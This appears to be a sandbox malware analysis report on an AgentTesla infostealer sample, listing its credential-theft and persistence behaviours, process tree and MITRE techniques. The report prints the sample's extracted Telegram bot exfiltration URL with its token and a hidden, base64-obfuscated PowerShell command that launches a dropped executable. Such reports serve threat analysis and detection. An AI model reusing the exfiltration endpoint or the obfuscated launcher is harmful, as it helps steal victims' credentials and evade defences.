Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
10/09/2026, 11:02
General
- Target 61a3329e0b50aae82345eb558cd9d8cd422b700f35b7e25b592adcf9c974795a.exe
- Size 1.1MB
- Sample260910-m5a7aagf38
- SHA256 61a3329e0b50aae82345eb558cd9d8cd422b700f35b7e25b592adcf9c974795a
Malware Config
Extracted
-
agenttesla
-
https://api.telegram.org/bot8902811340:AAFPusUUWmQ29CRTQ25F5tADqizfjYQ791o/
Signatures
- Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 2 IoCs
- Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 11 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\61a3329e0b50aae82345eb558cd9d8cd422b700f35b7e25b592adcf9c974795a.exe"C:\Users\Admin\AppData\Local\Temp\61a3329e0b50aae82345eb558cd9d8cd422b700f35b7e25b592adcf9c974795a.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\61a3329e0b50aae82345eb558cd9d8cd422b700f35b7e25b592adcf9c974795a.exe"C:\Users\Admin\AppData\Local\Temp\61a3329e0b50aae82345eb558cd9d8cd422b700f35b7e25b592adcf9c974795a.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$nums24=$env:COMPUTERNAME;$buh5ow=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$y0rytl=[System.Environment]::TickCount;$hcveuq=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE5KSi5leGU=')));$k1idsz=9584;& $buh5ow -FilePath $hcveuq"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\NJJ.exe"C:\Users\Admin\AppData\Roaming\NJJ.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\NJJ.exe"C:\Users\Admin\AppData\Roaming\NJJ.exe"3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
-
-
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
61a3329e0b50aae82345eb558cd9d8cd422b700f35b7e25b592adcf9c974795a.exe.log
__PSScriptPolicyTest_x3eqehjg.lt2.ps1
NJJ.exe
memory/452-26-0x000001AE97610000-0x000001AE97632000-memory.dmp
memory/452-19-0x000001AEAF860000-0x000001AEAF870000-memory.dmp
memory/452-20-0x000001AEAF860000-0x000001AEAF870000-memory.dmp
memory/2000-33-0x0000000005D60000-0x00000000060B4000-memory.dmp
memory/2684-35-0x0000000005470000-0x0000000005480000-memory.dmp
memory/2684-34-0x00000000062B0000-0x0000000006300000-memory.dmp
memory/2684-18-0x0000000005480000-0x00000000054E6000-memory.dmp
memory/2684-17-0x0000000005470000-0x0000000005480000-memory.dmp
memory/2684-14-0x0000000000400000-0x0000000000442000-memory.dmp
memory/3256-5-0x00000000050A0000-0x000000000513C000-memory.dmp
memory/3256-10-0x0000000006A10000-0x0000000006AEC000-memory.dmp
memory/3256-9-0x0000000004DF0000-0x0000000004E00000-memory.dmp
memory/3256-8-0x0000000005490000-0x00000000054B2000-memory.dmp
memory/3256-7-0x0000000005A70000-0x0000000005DC4000-memory.dmp
memory/3256-6-0x00000000051A0000-0x00000000051C2000-memory.dmp
memory/3256-0-0x00000000002D0000-0x00000000003F0000-memory.dmp
memory/3256-4-0x0000000004DE0000-0x0000000004DEA000-memory.dmp
memory/3256-3-0x0000000004DF0000-0x0000000004E00000-memory.dmp
memory/3256-2-0x0000000004E10000-0x0000000004EA2000-memory.dmp
memory/3256-1-0x00000000054C0000-0x0000000005A64000-memory.dmp